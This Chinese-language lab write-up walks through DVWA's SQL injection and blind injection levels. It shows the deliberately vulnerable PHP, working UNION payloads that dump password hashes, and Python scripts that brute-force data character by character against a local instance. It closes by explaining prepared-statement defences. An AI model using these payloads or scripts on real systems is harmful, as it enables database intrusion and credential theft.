DVWA - SQL 注入

SQL 注入

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;

#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

因为是 low 难度,所以我们可以看到,源代码并没有对 SQL 注入做任何的防护。

我们先正常提交一下 id = 1 来看一下查询的结果:

1
2
3
ID: 1
First name: admin
Surname: admin

一切正常,我们把提交的 id 的值从 1 换成 1' OR '1'='1,查询的结果就变成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ID: 1' OR '1'='1
First name: admin
Surname: admin
ID: 1' OR '1'='1
First name: Gordon
Surname: Brown
ID: 1' OR '1'='1
First name: Hack
Surname: Me
ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso
ID: 1' OR '1'='1
First name: Bob
Surname: Smith

因为任何表达式 OR '1' = '1' 都恒为 true,所以就一下把表里所有的数据都抛了出来。

到这一步,我们基本可证明存在 SQL 注入漏洞了,接下来就是如何利用了。

这里我们尝试获取用户名和密码哈希,构造的 payload 为 0' UNION SELECT user, password FROM users--+,提交以后发现报错,说是语法错误,我们去抓一下包,提交的请求如下:

1
?id=0%27+UNION+SELECT+user%2C+password+FROM+users--%2B&Submit=Submit

但是如果我们直接在地址栏里发送这个 GET 请求,输入 ``,抓包得到的结果就是这样的:

1
?id=0%27%20UNION%20SELECT%20user,%20password%20FROM%20users--+&Submit=Submit

因为这里是 GPT 给我的 payload,所以我又去问 GPT 这个 --+ 到底是什么意思,GPT 告诉我是 SQL 里的注释,我查了一下 SQL 里注释用的是 --,没有后面那个 +,我就又问 GPT 那个 + 是什么意思,终于算是解决了,这个 + 是 URL 里的空格。

所以问题其实是这样的,GPT给我的 --+ 到 URL 里其实是 -- ,发送到请求里就是 SQL 里的注释符 -- 加上一个空格,如果我们直接在输入框里填上 +,那个 + 就会在中途被 URL 编码成 %2B,也就是说:

  • 地址栏会把 URL 里的 + 编码成空格,但是内容在进行 URL 编码的时候则是会编码成 %2B

到这里这个疑惑就算是解决了,我们在输入栏里把 + 换成 也照样可以得到正确的返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ID: 0' UNION SELECT user, password FROM users-- 
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 0' UNION SELECT user, password FROM users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 0' UNION SELECT user, password FROM users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 0' UNION SELECT user, password FROM users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 0' UNION SELECT user, password FROM users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

其实关于那个 + 的疑问我也是用正确的结果(把 payload 放到 URL 里构造)反推出来的,因为我发现这个 ID 的值并没有 +,我以为是被注释掉了,后来才知道是被转译成了空格。

到这里,关于这种简单的 SQL 的 payload 以及利用就差不多结束了,下面这些 payload 可以获取更多的一些信息(默认以 URL 的形式列出):

获取所有用户名和密码:

1
?id=0' UNION SELECT user, password FROM users--+

获取数据库名:

1
?id=0' UNION SELECT null, database()--+

获取数据库版本:

1
?id=0' UNION SELECT null, @@version--+

枚举所有的表名:

1
?id=0' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database()--+

枚举所有的列名:

1
?id=0' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users'--+

常用函数作用:

  • database():当前数据库名
  • user():当前连接用户名
  • version()@@version:SQL 版本
  • information_schema.tables:所有表信息
  • information_schema.columns:所有列信息

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

跟 low 难度的代码比,medium 难度的源码主要是对 id 做了这样一个处理:

1
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

并且原本输入框变成了一个选择框:

1
2
3
4
5
<p>
User ID:
<select name="id"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option></select>
<input type="submit" name="Submit" value="Submit">
</p>

因为在 URL 里直接传入 id 没什么效果,用浏览器抓包看结果发现这里是发送了一个 POST 请求,那就不奇怪了(先不急着直接抓包改请求),所以这里我们直接把 option value 的值改成 0' OR '1'='1' 试一下,得到了如下报错:

1
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' OR \'1\'=\'1\'' at line 1 in

这个报错给了我们两个信息,一个是后端没有对前端传入的 option value 的值进行过滤,也就是说我们在前端修改的值直接传入了后端,还有一个就是我们传入的 payload 被改成了 \' OR \'1\'=\'1\',稍加分析我们就可以发现所有的 ' 都变成了 \' 也就是说 ' 前面都被加了一个 \ 进行转义,这应该就是 mysqli_real_escape_string() 函数在这里的作用了。

然后我们又去看了一下源码,发现拼接的地方也不太一样:

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

没错,拼接的地方没有 '' 了,也就是说,我们直接把 payload 改成 0 OR 1=1 就行了,试了一下,返回为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ID: 0 OR 1=1
First name: admin
Surname: admin
ID: 0 OR 1=1
First name: Gordon
Surname: Brown
ID: 0 OR 1=1
First name: Hack
Surname: Me
ID: 0 OR 1=1
First name: Pablo
Surname: Picasso
ID: 0 OR 1=1
First name: Bob
Surname: Smith

那剩下的就都一样了。

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

我们发现 high 难度的前端又不一样了,我们点击之后发现弹出了一个额外的窗口,我们随便试一个 payload 1' OR '1'='1

1
2
3
ID: 1' OR '1'='1
First name: admin
Surname: admin

发现只返回了一个,然后我们又随便试了一个 payload 0' UNION SELECT user, password FROM users--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ID: 0' UNION SELECT user, password FROM users-- 
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 0' UNION SELECT user, password FROM users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 0' UNION SELECT user, password FROM users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 0' UNION SELECT user, password FROM users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 0' UNION SELECT user, password FROM users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

这次就正常了,跟之前没什么不一样,这次的 payload 比刚才的那个多了个注释符,所以我们就可以大胆猜测在拼接询问语句的时候跟之前比有如下两点:

  1. 没有过滤 '
  2. 在询问末尾,拼接位置的后面,有一个语句用于限制返回结果的数量

看一下源代码,区别主要在这里:

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

后面多了个 LIMIT 1,剩下的就没啥了。

Impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.

$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();

// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}

break;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这份代码在防御 SQL 注入方面做的比较完善先是做一个白名单的清洗来过滤掉非数字输入:

1
2
3
if(is_numeric( $id )) { // 判断输入是否为数字
...
}

然后又取输入的前导数字部分:

1
$id = intval ($id);

这两部分我觉得多少有点冗余了,不过考虑到如果数据库里的 id 都是整数类型的话,这虽然对于防御意义不大,但是算是保证了程序的正常运行,不是很优,但是能用。

其实我觉得这种清洗已经足够防御了,毕竟字符变量都被洗掉了,但是这份代码还是做了更深层次的防御:

1
2
3
4
5
6
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );


$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);

这两部分就分别是在两种情况下的语句拼接字段,但是核心内容是一样的,都是先预编译一个 SQL 语句,把之前拼接的 $id 换成了一个占位符 :id,然后给 :id 绑定上 $id 的值,这个是绑定了一个变量引用而不是一个单纯的值,所以当 $id 更改时,:id 也会被更改,并且在绑定的时候我们指定了 :id 的数据类型为 int,所以可以防止字符串的注入。

盲注

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}

$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}

break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

}

?>

我们先提交一个正常点的数字,比如 1 试一下:

1
User ID exists in the database.

说是用户 ID 存在,但是没有其他详细的信息了,这就是盲注跟常规的注入不同的地方,我们得不到详细的返回信息。

接下来再试试一些大概率不存在的东西,比如一个乱七八糟的字符串 fku

1
User ID is MISSING from the database.

果然不存在,返回是不一样的。

当返回有 01 两种状态时,就说明具备了盲注的基本条件,接下来我们就需要测试一下具不具备注入点(先确定是否具备盲注条件,再确定是否有 SQL 注入漏洞)。

我们提交一个 payload 1' AND 1=1 --

1
User ID exists in the database.

这里其实已经说明存在 SQL 注入点了,但是我们可以再试一下另一个 payload 来确认一下是否存在盲注点 1' AND 0=1 --

1
User ID is MISSING from the database.

确实存在盲注点。

这里其实用的方法也很简单,先在 payload 里构造一个返回为 1 的语句,再在 payload 里构造一个返回为 0 的语句,看一看返回是否分别对应 01 的情况就行了。

接下来就是尝试利用这个盲注漏洞了。

返回的信息只与我们构造的 payload 后面的那个语句有关,也就是说我们可以人为控制一个判断语句,后端会判断真假。

根据这个原理,我们可以尝试爆破数据库信息。

比如我们提交一个 1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)='a' -- ,就可以用于判断第一条的第一个字符是不是 a,原理如下:

  • SELECT user FROM users LIMIT x,y:取 users 表中的 user 字段的从第 x 个值开始的 y 个值
  • SUBSTRING(str,x,y):取 str 字符串的从第 x 个字符开始的长度为 y 的字串(SQL 中的字符串下表是从 1 开始)

这两个里面的 x,y 含义很像,x 都是表示起点位置,y 都是表示长度或者数量。

知道了如何进行单次操作,那么我们就可以进行爆破了,我们写一个爆破用的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import string

# 要爆破的网站的信息
url = "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli_blind/"
cookies = {
'PHPSESSID': 'ps5bgiqfo2e4cks4tnle9tdabs',
'security': 'low'
}

# 要爆破的字符串的最大长度
max_length = 10

# 使用的字符集
charset = string.ascii_lowercase + string.digits
# 爆破出来的字符串
extracted = ""

for i in range(1, max_length + 1):
found = False
for char in charset:
payload = f"1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1)='{char}' -- "
params = {'id': payload, 'Submit': 'Submit'}

r = requests.get(url, params=params, cookies=cookies)

if "User ID exists in the database" in r.text:
extracted += char
print(f"[+] Found char {i}: {char}")
found = True
break

if not found:
print(f"[*] Done! Extracted: {extracted}")
break

print("Final result:", extracted)

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}

$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}

break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

跟不是盲注的 medium 差不多,都是改成了一个表格,我们先提交一下,然后从开发者工具里抓包看到了是用的 POST 方法。

那我们就先把刚才的爆破程序直接改一下,用 POST 试一下,结果是啥也没爆破出来,说明直接这么改是行不通的。

然后我就从通过修改前端数据进行请求,试了几个 payload,发现 1' AND 0=1 -- 这个 payload 会报错:Warning: Undefined array key "id",去掉 -- 就正常,但是把 payload 改成 1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)='a' 还会报一样的错,这说明不完全是注释符的问题。

因为是盲注,我们只能靠猜。

我们提交的这几个 payload 都是前端里面没给定的,所以我们猜测后端可能只为这几个给定的数据做了定义,所以其他的都是未定义的。

突然发现去掉 ' 就行了,不是注释符什么的锅,而是 1' 后面的 ' 的锅。

所以这个故事告诉我们还是得把 11' 都试一下,这应该是第一步就该做的,毕竟咱也不知道具体拼接是用整数类型还是字符串类型拼接的。

然后我又试了一下 1 AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)='a' 发现还是不行。

然后我就猜是 ' 的问题,改成 1 AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)=1 就正常了。

所以我们目前发现的问题主要有这么几个:

  • 用 POST 方法
  • 拼接时无 '
  • 会过滤掉 '

那我们该如何爆破呢?光发现有这么个洞不知道怎么打该怎么办?

除了用 'a' 的形式表示一个字符,我们还可以用 ASCII 码来表示,我们只要把字符都换成 ASCII 码就行了,比如 'a' 可以换成 97

这是修改后的爆破程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import string

# 要爆破的网站的信息
url = "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli_blind/"
cookies = {
'PHPSESSID': 'ps5bgiqfo2e4cks4tnle9tdabs',
'security': 'medium'
}

# 要爆破的字符串的最大长度
max_length = 10

# 使用的字符集
charset = string.ascii_lowercase + string.digits
# 爆破出来的字符串
extracted = ""

for i in range(1, max_length + 1):
found = False
for char in charset:
payload = f"1 AND ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1))={ord(char)}"
data = {'id': payload, 'Submit': 'Submit'} # POST 请求用 data,GET 请求用 params

r = requests.post(url, cookies=cookies, data=data)

if "User ID exists in the database" in r.text:
extracted += char
print(f"[+] Found char {i}: {char}")
found = True
break

if not found:
print(f"[*] Done! Extracted: {extracted}")
break

print("Final result:", extracted)

跟刚才的代码主要就改了两个地方,POST 请求和 payload。

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
$result = false;
}

$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}

break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

还是跟前面的 high 一样,弹出了一个窗口,我们先试一下这个 1' AND '1'='1,正常返回了 User ID exists in the database. ,我们再试一下 1' AND '1'='0,返回了 User ID is MISSING from the database.,说明存在盲注点。

接下来我们试一下 1‘ AND SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1)='a,发现 User ID is MISSING from the database. 了,我们去爆破一下试试,这是修改后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import string

# 要爆破的网站的信息
url = "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli_blind/"
cookies = {
'PHPSESSID': 'ps5bgiqfo2e4cks4tnle9tdabs',
'security': 'high'
}

# 要爆破的字符串的最大长度
max_length = 10

# 使用的字符集
charset = string.ascii_lowercase + string.digits
# 爆破出来的字符串
extracted = ""

for i in range(1, max_length + 1):
found = False
for char in charset:
payload = f"1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1)='{char}"
data = {'id': payload, 'Submit': 'Submit'}

r = requests.post(url, cookies=cookies, data=data)

if "User ID exists in the database" in r.text:
extracted += char
print(f"[+] Found char {i}: {char}")
found = True
break

if not found:
print(f"[*] Done! Extracted: {extracted}")
break

print("Final result:", extracted)

爆破失败了,啥也没爆出来,问题在哪里呢?

我们去抓包,发现 id 的值在 cookie 里,那我们就改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import string

# 要爆破的网站的信息
url = "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli_blind/"

# 要爆破的字符串的最大长度
max_length = 10

# 使用的字符集
charset = string.ascii_lowercase + string.digits
# 爆破出来的字符串
extracted = ""

for i in range(1, max_length + 1):
found = False
for char in charset:
payload = f"1' AND SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1)='{char}"

cookies = {
'PHPSESSID': 'ps5bgiqfo2e4cks4tnle9tdabs',
'security': 'high',
'id': payload
}

r = requests.post(url, cookies=cookies)

if "User ID exists in the database" in r.text:
extracted += char
print(f"[+] Found char {i}: {char}")
found = True
break

if not found:
print(f"[*] Done! Extracted: {extracted}")
break

print("Final result:", extracted)

改成这样就对了。

这里告诉我们提交的值可能在很多不同的位置,可以在 HTTP 头里,也可以在各种不同的方法里。

Impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;

$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.

$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();

$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}

}

// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

跟前面的 impossible 一样,采用了白名单 + 预编译的方式。